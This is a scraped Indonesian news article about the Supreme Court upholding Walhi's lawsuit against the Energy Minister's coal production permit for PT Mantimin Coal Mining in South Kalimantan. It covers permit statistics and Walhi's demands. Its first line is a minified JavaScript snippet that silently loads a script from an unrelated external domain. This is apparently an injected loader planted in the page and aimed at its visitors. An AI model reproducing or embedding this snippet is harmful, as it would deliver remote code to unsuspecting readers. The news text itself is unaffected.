(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Mahkamah Agung memenangkan gugatan Wahana Lingkungan Hidup Indonesia terhadap Menteri Energi dan Sumber Daya Mineral (ESDM) dan PT Mantimin Coal Mining (MCM). Dengan memberi putusan “Menolak Peninjaua Kembali (PK) yang diajukan PT MCM.
Dalam hal ini Mahkamah Agung (MA) telah memberi kabar baik di tengah bencana ekologis yang terjadi di Kalimantan Selatan melalui putusan PK MA Nomor 15 PK/TUN/LH/2021, tanggal 04 Februari 2021.
Putusan PK MA itu menjadi kabar yang dinantikan rakyat Kalimantan Selatan. Setelah melalui proses yang panjang dan dua kali gagal dalam gugatan awal di (PTUN Jakarta) dan di tingkat banding di Pengadilan Tinggi Tata Usaha Negara (PT.TUN) Jakarta, akhirnya suara rakyat Kalsel dimenangkan.
Diketahui sebelumnya pada 28 Februari 2018, Walhi bersama kuasa hukum yang tergabung dalam Tim Advokasi Pengabdi Lingkungan Hidup mendaftarkan gugatan terhadap Menteri ESDM, Ignatius Jonan yang telah mengeluarkan SK Menteri ESDM nomor 441.K/30/DJB/2017 tentang penyesuaian tahap kegiatan Perjanjian Karya Pengusahaan Pertambangan Batubara (PKP2B) PT Mantimin Coal Mining (PT MCM) menjadi tahap kegiatan operasi produksi, tanggal 4 Desember 2017 di 3 kabupaten yaitu kabupaten Tabalong, Kabupaten Balangan, dan Kabupaten Hulu Sungai Tengah dengan luas 5.908 Ha.
Menanggapi hasil putusan MA ini, Direktur Eksekutif Daerah Walhi Kalsel, Kisworo Dwi Cahyono mengatakan, putusan itu adalah kemenangan semua warga Kalimantan Selatan.
“Atas putusan MA yang tetap memenangkan Gugatan Walhi, ini kemenangan kita semua, Walhi mengapresiasi putusan PK MA ini. Walhi berterimakasih kepada semua pihak dan seluruh elemen masyarakat yang mendukung gugatan,” kata Cak Kis –biasa disapa-.
“Ini adalah berita baik di tengah terjangan bencana ekologis. Untuk pihak tergugat yaitu Kementerian ESDM dan PT MCM kami mendesak harus menjalankan putusan MA ini,” katanya.
Apalagi perjuangan Penyelamatan Meratus juga sudah lama diperjuangankan sejak tahun 80 dan 90-an sampai sekarang, baik terkait isu kehutanan, isu pertambangan dan pengakuan masyarakat hukum adat.
Sebenarnya WALHI telah memenangkan gugatan di tingkat Kasasi MA melalui putusan kasasi MA Nomor 369 K/TUN/LH/2019, tanggal 15 Oktober 2019, berdasarkan permohonan kasasi yang diajukan Walhi. Dan pada tingkat kasasi ini putusan pengadilan telah berkekuatan hukum tetap, final, dan mengikat.
Amar putusan Kasasi MA tersebut menyebutkan mengabulkan gugatan Penggugat (WALHI) untuk seluruhnya, menyatakan batal atau tidak sah SK Menteri ESDM nomor 441.K/30/DJB/2017 tentang penyesuaian tahap kegiatan Perjanjian Karya Pengusahaan Pertambangan Batubara (PKP2B) PT Mantimin Coal Mining (PT MCM) menjadi Tahap Kegiatan Operasi Produksi, mewajibkan Tergugat (Menteri ESDM), tanggal 4 Desember 2017 ,dan mewajibkan Menteri ESDM selaku Tergugat untuk mencabut SK Menteri ESDM nomor 441.K/30/DJB/2017, tanggal 4 Desember 2017.
Pertimbangan Hukum Majelis Hakim Kasasi MA sesuai dengan fakta dan kondisi di Kalimantan Selatan terkait Kawasan Kars yang harus dilindungi sebagaimana yang terungkap dalam persidangan. Pertimbangan Majelis Hakim Kasasi MA menyebutkan bahwa sebagian areal tambang PT MCM berada di kawasan kars yang merupakan Kawasan lindung geologi. Apabila kawasan tersebut dilakukan eksploitasi, maka berpotensi merusak fungsi aquifer air, karena ekosistem kars memiliki fungsi aquifer air alami, sebagai penampung dan penyalur air bagi wilayah di sekitarnya.
Karena itu sangat tepat Majelis Hakim Kasasi MA menyebutkan bahwa tindakan hukum Menteri ESDM mengeluarkan SK Menteri ESDM nomor 441.K/30/DJB/2017, tanggal 4 Desember 2017 tersebut melanggar asas-asas umum pemerintahan yang baik, yakni asas kehati-hatian precautionary (precautionary principle);
Tetapi faktanya sampai saat ini Menteri ESDM tidak mencabut SK Menteri ESDM nomor 441.K/30/DJB/2017, tanggal 4 Desember 2017 tersebut. Artinya dalam hal ini Menteri ESDM tidak melaksanakan putusan pengadilan yang telah berkekuatan hukum tetap. Ini menunjukkan Menteri ESDM melakukan pembangkangan hukum.
Melalui putusan PK MA ini , diharapkan menteri ESDM taat dan patuh terhadap hukum yang berlaku di negara ini. Karena itu diharapkan Menteri ESDM agar menghormati dan melaksanakan putusan pengadilan. Tidak ada lagi alasan menunda dan tidak melaksanakan putusan pengadilan.
“Tentunya bukan hanya izin yang diterbitkan kepada PT MCM. Dalam hal ini termasuk Presiden Joko Widodo diharapkan untuk segera melakukan evaluasi dan mencabut izin-izin yang bermasalah lainnya di Kalimantan Selatan, sebab bencana ekologis banjir di Kalsel juga merupakan potret muram krisis iklim dan krisis lingkungan di Kalimantan Selatan,” beber Cak Kis.
Kalsel Darurat Ruang, Bencana Ekologis Jadi Ancaman
Penting untuk diketahui Walhi sering menyampaikan bahwa Kalsel dalam posisi darurat ruang dan darurat bencana ekologis, selain konflik agraria yang sering terjadi, bencana ekologis termasuk banjir dan karhutla juga sering menerpa Kalisel. Dengan luas wilayah kurang lebih 3,7 juta hektare, ada 13 kabupaten kota hampir 50 % sudah dibebani izin pertambangan dan perkebunan kelapa sawit, belum lagi HTI dan HPH.
Beban perizinan tambang batubara menjadi yang paling besar selain Hak Guna Usaha (HGU), Izin Usaha Pemanfaatan Hasil Hutan Kayu-Hutan Tanaman (IUPHHK-HT) dan Izin Usaha Pemanfaatan Hasil Hutan Kayu-Hutan Alam (IUPHHK-HA).
Beban lingkungan di Kalsel dapat dilihat melalui beban perizinan industri ekstraktif yaitu Izin Usaha Pertambangan Minerba 628.708 hektare. Diantaranya IUP mineral 81.825 hektare, IUP mineral bukan logam 33.741 hektarr, IUP batubara 489.483 hektare, IUP B\batubara Pulau Laut 23.659 hektare.
Di sektor hutan, izin usaha kehutanan seluas 743.078 hektare yakni IUPHHK-HA 197.167 hektare, IUPHHK-HT luas 539.882 hektare, dan izin perkebunan seluas 811.115 hektare, yakni HGU luas 503.704 hektare dan izin lokasi seluas 307.411 hektare.
Dalam konteks Pegunungan Meratus, tercatat ada sekitar 4.301,78 hektare lahan terbuka pertambangan dan 10.148,29 heltare lahan berupa perkebunan. Sedangkan dari sisi perizinan untuk korporasi di Pegunungan Meratus sekitar 6.228,36 heltare diantaranya HGU 51.644,80 Ha, Izin Usaha Pertambangan Minerba, dan 95.201,47 hektare IUPHHK-HT.
Artinya bahwa Peninjauan Kembali (PK) yang diajukan oleh PT MCM ditolak oleh Mahkamah Agung. Dengan demikian gugatan WALHI yang awalnya kandas di PTUN Jakarta dan PTTUN Jakarta, kemudian dimenangkan oleh Mahkamah Agung baik pada tingkat kasasi maupun pada tahap Peninjauan Kembali.
“Kini saatnya kita mengawal putusan ini, sudah menjadi kewajiban Kementerian ESDM untuk melaksanakan/mengeksekusi putusan pengadilan, dan PT MCM harus segera angkat kaki dari wilayah Kalsel. Pemerintah dalam hal ini juga harus mengevaluasi seluruh izin industri ekstraktif tambang, sawit, HTI dan HPH di Kalsel sebagai resolusi dari krisis iklim dan lingkungan hidup yang terjadi dan untuk menjawab Kalsel dalam posisi darurat ruang dan darurat bencana ekologis,” beber Cak Kis.
Kaitannya dengan darurat ruang dan darurat bencana ekologis yang sering terjadi, WALHI mendesak negara :
1. Cabut UU 3 tahun 2020 Minerba dan UU 11 Tahun 2020 Cipta Kerja.
2. Tanggap Bencana (sebelum, pada saat dan pasca bencana/Pemulihan). Pemerintah jangan lambat dan gagap lagi dalam penanganan bencana.
3. Review dan Audit seluruh Perijinan industri ekstraktif Tambang, Sawit, HTI, HPH secara Transparan dan dibagikan ke publik.
4. Stop ijin baru; yang ada saja sudah membuat kacau, apalagi kalau ditambah.
5. Penegakan hukum, terutama terhadap perusak lingkungan.
6. Bentuk Satgas/Komisi Khusus Kejahatan Lingkungan dan SDA serta bentuk Pengadilan Lingkungan. (Bubarkan Inspektorat Tambang).
7. Perbaikan/Pemulihan kerusakan Lingkungan termasuk DAS, Sungai, dan Drainase.
8. Review RTRW (Rencana Tata Ruang Wilayah).
9. RPJM, RPJP dan APBD/N yang pro terhadap keselamatan rakyat dan lingkungan, berkeadilan lintas generasi serta mampu menghilangkan bencana ekologis.
10. Menteri ESDM agar melaksanakan putusan pengadilan yang telah berkekuatan hukum tetap, final dan mengkat yaitu Putusan PK MA Nomor 15
PK/TUN/LH/2021, tanggal 04 Februari 2021, dengan mencabut SK Menteri ESDM Nomor 441.K/30/DJB/2017 tentang Penyesuaian Tahap Kegiatan Perjanjian Karya Pengusahaan Pertambangan Batubara (PKP2B) PT Mantimin Coal Mining (PT. MCM) menjadi Tahap Kegiatan Operasi Produksi, mewajibkan Tergugat (Menteri ESDM), tanggal 4 Desember 2017. (kanalkalimantan.com/rls)
Editor :Bie
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.